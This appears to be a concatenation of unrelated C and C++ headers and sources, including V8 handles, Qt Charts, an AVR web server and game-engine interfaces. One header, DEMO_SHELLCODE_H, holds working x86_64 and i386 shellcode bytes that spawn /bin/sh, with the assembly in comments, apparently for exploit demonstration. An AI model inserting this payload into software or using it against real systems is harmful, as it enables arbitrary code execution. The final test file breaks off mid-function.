|
#ifndef LOADER_H_INCLUDED
#define LOADER_H_INCLUDED
int loader(int argc, char *argv[]);
void print_usage();
string CheckOK(string CK);
#endif // LOADER_H_INCLUDED
|
#ifndef HEMP_CODE_H
#define HEMP_CODE_H
#include <hemp/core.h>
#include <hemp/value.h>
#include <hemp/proto.h>
/*--------------------------------------------------------------------------
* Type definitions
*--------------------------------------------------------------------------*/
struct hemp_code {
HempValue body;
HempProto proto;
// HempValue args;
// hemp_scope_t scope;
// hemp_element_t source;
};
/*--------------------------------------------------------------------------
* Function prototypes
*--------------------------------------------------------------------------*/
HempCode
hemp_code_init();
void
hemp_code_release(
HempCode code
);
void
hemp_code_free(
HempCode code
);
HempProto
hemp_code_proto(
HempCode code
);
/*--------------------------------------------------------------------------
* Type functions and methods
*--------------------------------------------------------------------------*/
HEMP_TYPE(hemp_type_code);
HEMP_OUTPUT(hemp_type_code_text);
/*--------------------------------------------------------------------------
* Macros
*--------------------------------------------------------------------------*/
#define hemp_code_new() \
hemp_code_init(NULL)
#endif /* HEMP_CODE_H */
|
/*
* (c) by Alexander Neumann <alexander@bumpern.de>
* Copyright (C) 2009 Stefan Siegl <stesie@brokenpipe.de>
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License (either version 2 or
* version 3) as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
*
* For more information on the GPL, please go to:
* http://www.gnu.org/copyleft/gpl.html
*/
#ifndef _HTTPD_H
#define _HTTPD_H
#include <stdint.h>
#ifdef AVR
#include "protocols/uip/uip.h"
#endif
/* constants */
#define HTTPD_PORT 80
#define HTTPD_ALTERNATE_PORT 8000
#define HTTPD_INDEX "idx.ht"
#define ECMD_INDEX "ecmd"
/* prototypes */
void httpd_init (void);
void httpd_main (void);
void httpd_cleanup (void);
void httpd_handle_400 (void);
void httpd_handle_401 (void);
void httpd_handle_404 (void);
void httpd_handle_vfs (void);
void httpd_handle_sd_dir (void);
void httpd_handle_sd_dir_redirect (void);
void httpd_handle_ecmd_setup (char *encoded_cmd);
void httpd_handle_ecmd (void);
const PGM_P httpd_mimetype_detect (const uint8_t *);
/* headers */
extern char httpd_header_200[];
extern char httpd_header_ct_css[];
extern char httpd_header_ct_html[];
extern char httpd_header_ct_xhtml[];
extern char httpd_header_ecmd[];
extern char httpd_header_400[];
extern char httpd_header_gzip[];
extern char httpd_header_401[];
extern char httpd_body_401[];
extern char httpd_body_400[];
extern char httpd_header_404[];
extern char httpd_body_404[];
extern char httpd_header_length[];
extern char httpd_header_end[];
#include <stdio.h>
#include <avr/pgmspace.h>
#define PASTE_RESET() (((unsigned char *)uip_appdata)[0] = 0)
#define PASTE_P(a) strcat_P(uip_appdata, a)
#define PASTE_PF(a...) sprintf_P(uip_appdata + strlen(uip_appdata), a)
#include "config.h"
#ifdef VFS_TEENSY
# define PASTE_LEN(a) sprintf_P(uip_appdata + strlen(uip_appdata), \
PSTR ("%u\n"), a)
#else
# define PASTE_LEN(a) sprintf_P(uip_appdata + strlen(uip_appdata), \
PSTR ("%lu\n"), a)
#endif
#define PASTE_LEN_P(a) sprintf_P(uip_appdata + strlen(uip_appdata), \
PSTR ("%u\n"), strlen_P(a))
/* FIXME maybe check uip_mss and emit warning on debugging console. */
#define PASTE_SEND() uip_send(uip_appdata, strlen(uip_appdata))
#define STATE (&uip_conn->appstate.httpd)
#endif /* _HTTPD_H */
|
_CLC_DEF _CLC_OVERLOAD float __clc_ldexp(float, int);
#ifdef cl_khr_fp64
#pragma OPENCL EXTENSION cl_khr_fp64 : enable
_CLC_DEF _CLC_OVERLOAD float __clc_ldexp(double, int);
#endif
|
// This file was generated based on /Users/r0xstation/18app/src/.uno/ux13/app18.unoproj.g.uno.
// WARNING: Changes might be lost if you edit this file directly.
#pragma once
#include <Uno.UX.PropertyAccessor.h>
namespace g{namespace Uno{namespace UX{struct PropertyObject;}}}
namespace g{namespace Uno{namespace UX{struct Selector;}}}
namespace g{struct app18_accessor_cover_Image;}
namespace g{
// internal sealed class app18_accessor_cover_Image :41
// {
::g::Uno::UX::PropertyAccessor_type* app18_accessor_cover_Image_typeof();
void app18_accessor_cover_Image__ctor_1_fn(app18_accessor_cover_Image* __this);
void app18_accessor_cover_Image__GetAsObject_fn(app18_accessor_cover_Image* __this, ::g::Uno::UX::PropertyObject* obj, uObject** __retval);
void app18_accessor_cover_Image__get_Name_fn(app18_accessor_cover_Image* __this, ::g::Uno::UX::Selector* __retval);
void app18_accessor_cover_Image__New1_fn(app18_accessor_cover_Image** __retval);
void app18_accessor_cover_Image__get_PropertyType_fn(app18_accessor_cover_Image* __this, uType** __retval);
void app18_accessor_cover_Image__SetAsObject_fn(app18_accessor_cover_Image* __this, ::g::Uno::UX::PropertyObject* obj, uObject* v, uObject* origin);
void app18_accessor_cover_Image__get_SupportsOriginSetter_fn(app18_accessor_cover_Image* __this, bool* __retval);
struct app18_accessor_cover_Image : ::g::Uno::UX::PropertyAccessor
{
static ::g::Uno::UX::Selector _name_;
static ::g::Uno::UX::Selector& _name() { return _name_; }
static uSStrong< ::g::Uno::UX::PropertyAccessor*> Singleton_;
static uSStrong< ::g::Uno::UX::PropertyAccessor*>& Singleton() { return Singleton_; }
void ctor_1();
static app18_accessor_cover_Image* New1();
};
// }
} // ::g
|
/*****************************************************************************
*
* PROJECT: Multi Theft Auto v1.0
* LICENSE: See LICENSE in the top level directory
* FILE: sdk/game/C3DMarker.h
* PURPOSE: 3D marker entity interface
*
* Multi Theft Auto is available from http://www.multitheftauto.com/
*
*****************************************************************************/
#ifndef __CGAME_3DMARKER
#define __CGAME_3DMARKER
#include "Common.h"
class CVector;
struct RpClump;
class CMatrix;
/**
* \todo fix SetColor/GetColor, the format is actually BGRA (strange)
*/
class C3DMarker
{
public:
virtual ~C3DMarker ( void ) {};
virtual void GetMatrix ( CMatrix * pMatrix )=0;
virtual void SetMatrix ( CMatrix * pMatrix )=0;
virtual VOID SetPosition(CVector * vecPosition)=0;
virtual CVector * GetPosition()=0;
virtual DWORD GetType()=0; // need enum?
virtual BOOL IsActive()=0;
virtual DWORD GetIdentifier()=0;
virtual SColor GetColor()=0;
virtual VOID SetColor(const SColor color)=0;
virtual VOID SetPulsePeriod(WORD wPulsePeriod)=0;
virtual VOID SetPulseFraction(FLOAT fPulseFraction)=0;
virtual VOID SetRotateRate(short RotateRate)=0;
virtual FLOAT GetSize()=0;
virtual VOID SetSize(FLOAT fSize)=0;
virtual FLOAT GetBrightness()=0;
virtual VOID SetBrightness(FLOAT fBrightness)=0;
virtual VOID SetCameraRange(FLOAT fCameraRange)=0;
virtual FLOAT GetPulseFraction()=0;
virtual VOID Disable()=0;
virtual VOID SetActive()=0;
virtual RpClump * GetRwObject()=0;
};
#endif
|
/**
* device_tick.h : Device Tick generator
* Copyright (C) 2019 Appiko
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
#ifndef CODEBASE_PERIPHERAL_MODULES_DEVICE_TICK_H_
#define CODEBASE_PERIPHERAL_MODULES_DEVICE_TICK_H_
/**
* @addtogroup group_peripheral_modules
* @{
*
* @defgroup group_device_tick Device ticker
*
* @brief Driver for the device tick generator. This module is responsible for
* generating the next interval events at configurable fast or slow intervals.
*
* @warning This module needs the LFCLK and @ref group_ms_timer to be on and
* running to be able to work. Also the irq_msg_util module needs to be initialized.
* @{
*/
#include <stdint.h>
#include <stdbool.h>
#include "nrf.h"
#if SYS_CFG_PRESENT == 1
#include "sys_config.h"
#endif
#ifndef MS_TIMER_USED_DEVICE_TICKS
#define MS_TIMER_USED_DEVICE_TICKS 0
#endif
/** @brief The number of MS timer ticks elapsed for one device tick */
#define DEVICE_TICK_MSTIMER_DIV_FACTOR (1)
/**
* @brief The two different modes at which the device ticks, fast & slow
*/
typedef enum
{
DEVICE_TICK_SLOW, //!< Slow mode
DEVICE_TICK_FAST, //!< Fast mode
DEVICE_TICK_SAME //!< Same as previous mode
}device_tick_mode;
/**
* @brief Stucture for passing the configuration for initializing the
* Device Tick module.
*/
typedef struct {
uint32_t fast_mode_ticks; /// The number of LFCLK ticks for the fast mode
uint32_t slow_mode_ticks; /// The number of LFCLK ticks for the slow mode
device_tick_mode mode; /// The initial mode in which the module is in
}device_tick_cfg;
/**
* @brief Initializes and starts the Device tick module. Provides a next
* interval event immediately. This function can also be used to reinitialize
* the fast and slow mode intervals.
* @param cfg The initial mode as well as the fast and slow interval
* in number of LFCLK ticks.
*/
void device_tick_init(device_tick_cfg *cfg);
/**
* @brief Switches from the fast to slow mode or vice versa.
* @param mode The mode to switch to.
*/
void device_tick_switch_mode(device_tick_mode mode);
/**
* @brief The function to be called whenever the SoC wakes up to see if more
* than half the time of the current interval has elapsed to call the next
* interval handler.
*/
void device_tick_process(void);
#endif /* CODEBASE_PERIPHERAL_MODULES_DEVICE_TICK_H_ */
/**
* @}
* @}
*/
|
#ifndef CHECKUPSCALE_H
#define CHECKUPSCALE_H
#include <vector>
class SimilarityGraph;
class CheckUpscale
{
public:
CheckUpscale();
/**
* @brief checkUpscale Check for upscale by constinuous horizontal line heuristic
* @param similarityGraph
* @return
*/
static int checkUpscale( SimilarityGraph* similarityGraph );
private:
/**
* @brief createHistogram Create a histogram of numbers of consecutive nodes in a
* continous horizontal line
* @param adjacentInLine
* @return
*/
static int createHistogram( std::vector<int>& adjacentInLine );
};
#endif // CHECKUPSCALE_H
|
// Copyright 2006-2008 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef V8_HANDLES_INL_H_
#define V8_HANDLES_INL_H_
#include "src/handles.h"
#include "src/isolate.h"
#include "src/objects-inl.h"
namespace v8 {
namespace internal {
HandleBase::HandleBase(Object* object, Isolate* isolate)
: location_(HandleScope::GetHandle(isolate, object)) {}
template <typename T>
// Allocate a new handle for the object, do not canonicalize.
Handle<T> Handle<T>::New(T* object, Isolate* isolate) {
return Handle(
reinterpret_cast<T**>(HandleScope::CreateHandle(isolate, object)));
}
HandleScope::HandleScope(Isolate* isolate) {
HandleScopeData* data = isolate->handle_scope_data();
isolate_ = isolate;
prev_next_ = data->next;
prev_limit_ = data->limit;
data->level++;
}
template <typename T>
Handle<T>::Handle(T* object) : Handle(object, object->GetIsolate()) {}
template <typename T>
Handle<T>::Handle(T* object, Isolate* isolate) : HandleBase(object, isolate) {}
template <typename T>
inline std::ostream& operator<<(std::ostream& os, Handle<T> handle) {
return os << Brief(*handle);
}
HandleScope::~HandleScope() {
#ifdef DEBUG
if (FLAG_check_handle_count) {
int before = NumberOfHandles(isolate_);
CloseScope(isolate_, prev_next_, prev_limit_);
int after = NumberOfHandles(isolate_);
DCHECK(after - before < kCheckHandleThreshold);
DCHECK(before < kCheckHandleThreshold);
} else {
#endif // DEBUG
CloseScope(isolate_, prev_next_, prev_limit_);
#ifdef DEBUG
}
#endif // DEBUG
}
void HandleScope::CloseScope(Isolate* isolate,
Object** prev_next,
Object** prev_limit) {
HandleScopeData* current = isolate->handle_scope_data();
std::swap(current->next, prev_next);
current->level--;
if (current->limit != prev_limit) {
current->limit = prev_limit;
DeleteExtensions(isolate);
#ifdef ENABLE_HANDLE_ZAPPING
ZapRange(current->next, prev_limit);
} else {
ZapRange(current->next, prev_next);
#endif
}
}
template <typename T>
Handle<T> HandleScope::CloseAndEscape(Handle<T> handle_value) {
HandleScopeData* current = isolate_->handle_scope_data();
T* value = *handle_value;
// Throw away all handles in the current scope.
CloseScope(isolate_, prev_next_, prev_limit_);
// Allocate one handle in the parent scope.
DCHECK(current->level > current->sealed_level);
Handle<T> result(value, isolate_);
// Reinitialize the current scope (so that it's ready
// to be used or closed again).
prev_next_ = current->next;
prev_limit_ = current->limit;
current->level++;
return result;
}
Object** HandleScope::CreateHandle(Isolate* isolate, Object* value) {
DCHECK(AllowHandleAllocation::IsAllowed());
HandleScopeData* data = isolate->handle_scope_data();
Object** result = data->next;
if (result == data->limit) result = Extend(isolate);
// Update the current next field, set the value in the created
// handle, and return the result.
DCHECK(result < data->limit);
data->next = result + 1;
*result = value;
return result;
}
Object** HandleScope::GetHandle(Isolate* isolate, Object* value) {
DCHECK(AllowHandleAllocation::IsAllowed());
HandleScopeData* data = isolate->handle_scope_data();
CanonicalHandleScope* canonical = data->canonical_scope;
return canonical ? canonical->Lookup(value) : CreateHandle(isolate, value);
}
#ifdef DEBUG
inline SealHandleScope::SealHandleScope(Isolate* isolate) : isolate_(isolate) {
// Make sure the current thread is allowed to create handles to begin with.
DCHECK(AllowHandleAllocation::IsAllowed());
HandleScopeData* current = isolate_->handle_scope_data();
// Shrink the current handle scope to make it impossible to do
// handle allocations without an explicit handle scope.
prev_limit_ = current->limit;
current->limit = current->next;
prev_sealed_level_ = current->sealed_level;
current->sealed_level = current->level;
}
inline SealHandleScope::~SealHandleScope() {
// Restore state in current handle scope to re-enable handle
// allocations.
HandleScopeData* current = isolate_->handle_scope_data();
DCHECK_EQ(current->next, current->limit);
current->limit = prev_limit_;
DCHECK_EQ(current->level, current->sealed_level);
current->sealed_level = prev_sealed_level_;
}
#endif
} // namespace internal
} // namespace v8
#endif // V8_HANDLES_INL_H_
|
#ifndef _CONSOLE_H_
#define _CONSOLE_H_
void cls_console();
char getchr(char min, char max);
int is_param(wchar_t *name);
void clean_cmd_line();
wchar_t *get_param(wchar_t *name);
int s_gets(char *buff, int size);
int s_wgets(wchar_t *buff, int size);
#endif |
/**************************************************************************
* Copyright (C) 2008 - 2010 by Simon Qian *
* SimonQian@SimonQian.com *
* *
* Project: Versaloon *
* File: MSP430_JTAG.c *
* Author: SimonQian *
* Versaion: See changelog *
* Purpose: MSP430_JTAG interface header file *
* License: See license *
*------------------------------------------------------------------------*
* Change Log: *
* YYYY-MM-DD: What(by Who) *
* 2008-11-07: created(by SimonQian) *
**************************************************************************/
vsf_err_t msp430jtag_init(uint8_t index);
vsf_err_t msp430jtag_fini(uint8_t index);
vsf_err_t msp430jtag_config(uint8_t index, uint8_t has_test);
vsf_err_t msp430jtag_ir(uint8_t index, uint8_t *ir, uint8_t want_ret);
vsf_err_t msp430jtag_dr(uint8_t index, uint32_t *dr, uint8_t bitlen,
uint8_t want_ret);
vsf_err_t msp430jtag_tclk(uint8_t index, uint8_t value);
vsf_err_t msp430jtag_tclk_strobe(uint8_t index, uint16_t cnt);
vsf_err_t msp430jtag_reset(uint8_t index);
vsf_err_t msp430jtag_poll(uint8_t index, uint32_t dr, uint32_t mask,
uint32_t value, uint8_t len, uint16_t poll_cnt, uint8_t toggle_tclk);
|
/*
Copyright 2005, 2006 Computer Vision Lab,
Ecole Polytechnique Federale de Lausanne (EPFL), Switzerland.
All rights reserved.
This file is part of BazAR.
BazAR is free software; you can redistribute it and/or modify it under the
terms of the GNU General Public License as published by the Free Software
Foundation; either version 2 of the License, or (at your option) any later
version.
BazAR is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE. See the GNU General Public License for more details.
You should have received a copy of the GNU General Public License along with
BazAR; if not, write to the Free Software Foundation, Inc., 51 Franklin
Street, Fifth Floor, Boston, MA 02110-1301, USA
*/
#ifndef PYRIMAGE_H
#define PYRIMAGE_H
#include <cv.h>
#ifdef WIN32 // disable warning :
#pragma warning( disable : 4127 ) // (/W4) conditional expression is constant
#pragma warning( disable : 4512 ) // (/W4) assignment operator could not be generated
#pragma warning( disable : 4288 ) // (/W1) loop control variable declared in the for-loop is used outside the for-loop scope
#endif
//! Multi-resolution pyramidal image
/*! Represent a multi-precision pyramidal image.
* images[0] is the largest image.
* images[nbLev-1] is the smallest image.
*
* Each level is 4 times smaller than the previous one: width and height are
* divided by 2.
*/
class PyrImage {
public:
PyrImage(IplImage *im, int nblev);
~PyrImage();
//! build the pyramid from level 0 by calling cvPyrDown()
void build();
//! try to load an image with cvLoadImage() and build a PyrImage.
//! \return 0 on failure or a valid PyrImage that has to be deleted by the caller.
static PyrImage *load(int level, const char *filename, int color, bool fatal = true);
//! Convert a coordinate from one level to another.
/* \param x the coordinate to translate
* \param from the level in which x is specified
* \param to the level to translate the coordinate into
* \param method controls whether to return minimum or maximum possible
* coordinate, when translating from high to low levels.
* 0 : return the minimum possible value
* 1 : return the maximum possible value
* 2 : return the average possible value
* \return the translate coordinate
*/
static int convCoord(int x, int from, int to=0, unsigned method = 0);
//! Convert a subpixel coordinate from one level to another.
static float convCoordf(float x, int from, int to=0);
//! Set a pixel a every precision level.
/*! Compute coordinates for each precision level, and call cvSet2d() on it.
* This method is slow.
* \param x x coordinate for level 0
* \param y y coordinate for level 0
* \param val pixel value to change.
*/
void setPixel(unsigned x, unsigned y, CvScalar& val);
//! Set all pixels of all levels to a constant value.
void set(CvScalar val = cvScalarAll(0));
//! make an exact copy of this image, reallocating all memory.
PyrImage *clone() const;
IplImage *operator[](unsigned i) {return images[i];}
//! apply a gaussian blur on level 0.
void smoothLevel0(int kernelSize=3)
{
cvSmooth(images[0], images[0], CV_GAUSSIAN, kernelSize, kernelSize);
}
//! set a region of interest using OpenCV cvSetImageROI()
void setImageROI(CvRect rect);
//! reset a region of interest using OpenCV cvResetImageROI()
void resetImageROI();
const int nbLev;
IplImage **images;
};
#endif // PYRIMAGE_H
|
#pragma once
#include <handle/HandleDef.h>
#include <daedalus/DaedalusGameState.h>
#include "Vob.h"
namespace Logic
{
class PlayerController;
class MobController;
class ItemController;
class ModelVisual;
}
namespace VobTypes
{
struct ScriptInstanceUserData
{
/**
* Engine-Side entity of this script instance
*/
Handle::EntityHandle vobEntity;
Handle::WorldHandle world;
};
struct NpcVobInformation : Vob::VobInformation
{
Logic::PlayerController* playerController;
};
struct ItemVobInformation : Vob::VobInformation
{
Logic::ItemController* itemController;
};
struct MobVobInformation : Vob::VobInformation
{
Logic::MobController* mobController;
};
/**
* Returns an Entity as NPC-Vob
*/
/**
* Extracts the vob-information from the given entity
* NOTE: ONLY FOR TEMPORARY USE. DO NOT SAVE THE RETURNED OBJECT FOR LATER USE.
*/
NpcVobInformation asNpcVob(World::WorldInstance& world, Handle::EntityHandle e);
ItemVobInformation asItemVob(World::WorldInstance& world, Handle::EntityHandle e);
MobVobInformation asMobVob(World::WorldInstance& world, Handle::EntityHandle e);
/**
* Creates a generic vob from script
*/
Handle::EntityHandle initNPCFromScript(World::WorldInstance& world, Daedalus::GameState::NpcHandle scriptInstance);
Handle::EntityHandle initItemFromScript(World::WorldInstance& world, size_t scriptInstance);
/**
* Creates a mob from the given zenlib-info
* @param world World to create mob in
* @return Handle to the newly created mob-vob
*/
Handle::EntityHandle createMob(World::WorldInstance& world);
/**
* Creates an item of the given instance
* @param world World to create the item in
* @param item Instance-name of the item to create
* @return Handle to the newly created item-vob
*/
Handle::EntityHandle createItem(World::WorldInstance& world, const std::string& item);
Handle::EntityHandle createItem(World::WorldInstance& world, size_t item);
/**
* Helper-function to insert an NPC into the world (With script initialization)
* Same as calling Wld_InsertNPC from script!
* @param world World to add the npc to
* @param instanceName Script-instance to create
* @param wpName Waypoint to put the npc on
* @return Handle to the NPCs entity
*/
Handle::EntityHandle Wld_InsertNpc(World::WorldInstance& world, const std::string& instanceName, const std::string& wpName = "");
Handle::EntityHandle Wld_InsertNpc(World::WorldInstance& world, size_t instanceSymbol, const std::string& wpName = "");
/**
* Unlinks the script-instance from the engine. If this is not done, it will result in a memory-leak.
*/
void unlinkNPCFromScriptInstance(World::WorldInstance& world, Handle::EntityHandle entity, Daedalus::GameState::NpcHandle scriptInstance);
/**
* Sets the model heirachy from the given visual (MDS)
* @param vob npc to operate on
* @param visual heirachy to set
*/
void NPC_SetModelVisual(NpcVobInformation& vob, const std::string& visual);
/**
* Sets the head of the given NPC
* @param vob NPC to operate on
* @param visual Visual to load and set
* @param headTextureIdx Index of the texture to use for the head
* @param teethTextureIdx Index of the texture to use for the teeth
*/
void NPC_SetHeadMesh(NpcVobInformation& vob, const std::string& visual, int headTextureIdx=0, int teethTextureIdx=0);
/**
* Sets the visual on the given NPCs model, without changing the body-state, like the headmesh
* @param vob NPC to operate on
* @param visual Visual to load and set
*/
void NPC_SetBodyMesh(NpcVobInformation &vob, const std::string &visual, int bodyTexIdx=-1, int skinColorIdx=-1);
/**
* Equips the given weapon to the NPC
* @param vob NPC to operate on
* @param weapon Script-Handle to the weapon
*/
void NPC_EquipWeapon(NpcVobInformation& vob, Daedalus::GameState::ItemHandle weapon);
/**
* Draws the currently equipped melee weapon
* @param vob NPC which should draw the weapon
* @return Weapon that was drawn
*/
Daedalus::GameState::ItemHandle NPC_DrawMeleeWeapon(NpcVobInformation& npc);
/**
* Returns how many of the given items are inside the given mob-container
* @param mob Mob to check on
* @param instance Instance of items to look after
* @return Count of items of the given instance in the given mob-container
*/
int MOB_GetItemCount(MobVobInformation mob, const std::string& instance);
/**
* Tries to find the mob with the given name
* @param world World the mob should be in
* @param name Name of the mob
* @return Entity of the mob with the given name (invalid if not found)
*/
Handle::EntityHandle MOB_GetByName(World::WorldInstance& world, const std::string& name);
/**
* Puts back any weapon a NPC has in its hand
* @param npc NPC to perform the action on
*/
void NPC_UndrawWeapon(NpcVobInformation& npc);
/**
* Returns the script-parameters for the given npc
* @param vob Npc to get the info from
* @return Script-side object of this npc
*/
Daedalus::GEngineClasses::C_Npc& getScriptObject(NpcVobInformation& vob);
/**
* Returns the script handle for the given npc
* @param vob Npc to get the info from
* @return Script-side handle of this npc
*/
Daedalus::GameState::NpcHandle getScriptHandle(VobTypes::NpcVobInformation& vob);
/**
* @return The engine entity handle of the given script instance of an npc
*/
Handle::EntityHandle getEntityFromScriptInstance(World::WorldInstance& world, Daedalus::GameState::NpcHandle npc);
NpcVobInformation getVobFromScriptHandle(World::WorldInstance& world, Daedalus::GameState::NpcHandle npc);
} |
#ifndef _INDEXER_H_
#define _INDEXER_H_
#include <map>
#include <set>
#include <string>
#include <vector>
/**
* Indexer class is convenient tool to index a vector class
*/
class Indexer{
public:
Indexer(const std::vector<std::string>& a) {
for (size_t i = 0; i < a.size(); ++i) {
if (m.count(a[i]) == 0) {
m[a[i]] = i;
} else {
duplication.insert(a[i]);
}
}
}
bool hasDuplication() {
return this->duplication.size() > 0;
}
int operator[](const std::string& s) const {
if (m.count(s) == 0) return -1;
return m.find(s)->second;
}
private:
std::map<std::string, int> m;
std::set<std::string> duplication;
};
#endif /* _INDEXER_H_ */
|
/*
Copyright (C) 2013 Fabrizio Curcio
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
#ifndef DEMO_SHELLCODE_H
#define DEMO_SHELLCODE_H
#if defined(__x86_64__)
#define SHELLCODE \
"\xeb\x13\x48\x31\xc0" \
"\x48\x83\xc0\x3b\x5f" \
"\x88\x67\x07\x48\x31" \
"\xf6\x48\x31\xd2\x0f" \
"\x05\xe8\xe8\xff\xff" \
"\xff\x2f\x62\x69\x6e" \
"\x2f\x73\x68\x4e"
/**
; This is the code of the simple x86_64 shellcode to spawn a shell,
; Try to assemble and link it yourself if you don't trust me. ;)
BITS 64
global _start
section .data ; needs to be writable and executable for testing
_start:
jmp get_address ;get the address of our string
run:
;execve(char *filename,char *argv[],char *envp[])
xor rax,rax
add rax,59 ;59=execve
pop rdi ;pop string address
mov [rdi+7], byte ah ;put a null byte after /bin/sh (replace N)
xor rsi,rsi ;char *argv[] = null
xor rdx,rdx ;char *envp[] = null
syscall
get_address:
call run ;push the address of the string onto the stack
shell:
db '/bin/shN'
**/
#elif defined(__i386__)
#define SHELLCODE \
"\x31\xc0\x50\x68\x2f" \
"\x2f\x73\x68\x68\x2f" \
"\x62\x69\x6e\x89\xe3" \
"\x8d\x0b\x51\x50\x59" \
"\x89\xc2\xb0\x0b\xcd" \
"\x80\x31\xc0\x31\xdb" \
"\xb0\x01\xcd\x80"
#endif
/**
; Code of the simple x86_32 shellcode to spawn a shell
BITS 32
section .text
global _start
_start:
xor eax,eax ; zeroes the registers
push eax
push 0x68732f2f ; /bin
push 0x6e69622f ; //sh
mov ebx,esp ; moves the value of the stack pointer that now points to the start of the string /bin//bash to ebx
lea ecx, [ebx] ; loads the address of ecx to ebx
push ecx ; push the address of ecx on the stack (it's the argument's array for execve syscall)
push eax ; terminate the execve argument's array with a NULL
pop ecx ; pops the address into the ecx
mov edx, eax ; put a NULL to terminate the environ array
mov al, 0x0b ; places the value of the execve syscall to the al byte of the eax register (11 in decimal)
int 0x80 ; executes the interrupt
xor eax,eax ; zeroes the eax register
xor ebx,ebx ; ...and the ebx register
mov al,0x1 ; places the exit syscall to the al byte of the eax register
int 0x80 ; software interrupt
**/
#endif
|
/****************************************************************************
**
** Copyright (C) 2016 The Qt Company Ltd.
** Contact: https://www.qt.io/licensing/
**
** This file is part of the Qt Charts module of the Qt Toolkit.
**
** $QT_BEGIN_LICENSE:GPL$
** Commercial License Usage
** Licensees holding valid commercial Qt licenses may use this file in
** accordance with the commercial license agreement provided with the
** Software or, alternatively, in accordance with the terms contained in
** a written agreement between you and The Qt Company. For licensing terms
** and conditions see https://www.qt.io/terms-conditions. For further
** information use the contact form at https://www.qt.io/contact-us.
**
** GNU General Public License Usage
** Alternatively, this file may be used under the terms of the GNU
** General Public License version 3 or (at your option) any later version
** approved by the KDE Free Qt Foundation. The licenses are as published by
** the Free Software Foundation and appearing in the file LICENSE.GPL3
** included in the packaging of this file. Please review the following
** information to ensure the GNU General Public License requirements will
** be met: https://www.gnu.org/licenses/gpl-3.0.html.
**
** $QT_END_LICENSE$
**
****************************************************************************/
#ifndef QLEGENDMARKER_H
#define QLEGENDMARKER_H
#include <QtCharts/QChartGlobal>
#include <QtCharts/QLegend>
#include <QtCore/QObject>
#include <QtGui/QPen>
#include <QtGui/QBrush>
#include <QtGui/QFont>
QT_BEGIN_NAMESPACE
class QLegendMarkerPrivate;
class QAbstractSeries;
class QLegend;
class Q_CHARTS_EXPORT QLegendMarker : public QObject
{
Q_OBJECT
public:
enum LegendMarkerType {
LegendMarkerTypeArea,
LegendMarkerTypeBar,
LegendMarkerTypePie,
LegendMarkerTypeXY,
LegendMarkerTypeBoxPlot,
LegendMarkerTypeCandlestick
};
Q_PROPERTY(QString label READ label WRITE setLabel NOTIFY labelChanged)
Q_PROPERTY(QBrush labelBrush READ labelBrush WRITE setLabelBrush NOTIFY labelBrushChanged)
Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged)
Q_PROPERTY(QPen pen READ pen WRITE setPen NOTIFY penChanged)
Q_PROPERTY(QBrush brush READ brush WRITE setBrush NOTIFY brushChanged)
Q_PROPERTY(bool visible READ isVisible WRITE setVisible NOTIFY visibleChanged)
Q_PROPERTY(QLegend::MarkerShape shape READ shape WRITE setShape NOTIFY shapeChanged)
Q_ENUMS(LegendMarkerType)
public:
virtual ~QLegendMarker();
virtual LegendMarkerType type() = 0;
QString label() const;
void setLabel(const QString &label);
QBrush labelBrush() const;
void setLabelBrush(const QBrush &brush);
QFont font() const;
void setFont(const QFont &font);
QPen pen() const;
void setPen(const QPen &pen);
QBrush brush() const;
void setBrush(const QBrush &brush);
bool isVisible() const;
void setVisible(bool visible);
QLegend::MarkerShape shape() const;
void setShape(QLegend::MarkerShape shape);
virtual QAbstractSeries* series() = 0;
Q_SIGNALS:
void clicked();
void hovered(bool status);
void labelChanged();
void labelBrushChanged();
void fontChanged();
void penChanged();
void brushChanged();
void visibleChanged();
void shapeChanged();
protected:
explicit QLegendMarker(QLegendMarkerPrivate &d, QObject *parent = nullptr);
QScopedPointer<QLegendMarkerPrivate> d_ptr;
friend class QLegendPrivate;
friend class QLegendMarkerPrivate;
friend class LegendMarkerItem;
friend class LegendLayout;
friend class LegendScroller;
private:
Q_DISABLE_COPY(QLegendMarker)
};
QT_END_NAMESPACE
#endif // QLEGENDMARKER_H
|
#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <tap.h>
#include <fastmap.h>
int main(void)
{
fastmap_block_t blocks[] = {
{ "0001", "aaaax" },
{ "0002", "bbbbx" },
{ "0003", "ccccx" },
{ "0004", "ddddx" },
{ "0005", "ffffx" }
};
fastmap_block_t block;
fastmap_attr_t attr;
fastmap_inhandle_t ihandle;
fastmap_outhandle_t ohandle;
size_t i;
char buf[6] = {0}, *pathname = tempnam(NULL, "fmblk");
setvbuf(stdout, NULL, _IONBF, 0);
fastmap_attr_init(&attr);
fastmap_attr_setrecords(&attr, 5);
fastmap_attr_setksize(&attr, 4);
fastmap_attr_setvsize(&attr, 5);
fastmap_attr_setformat(&attr, FASTMAP_BLOCK);
plan(18);
fastmap_outhandle_init(&ohandle, &attr, pathname);
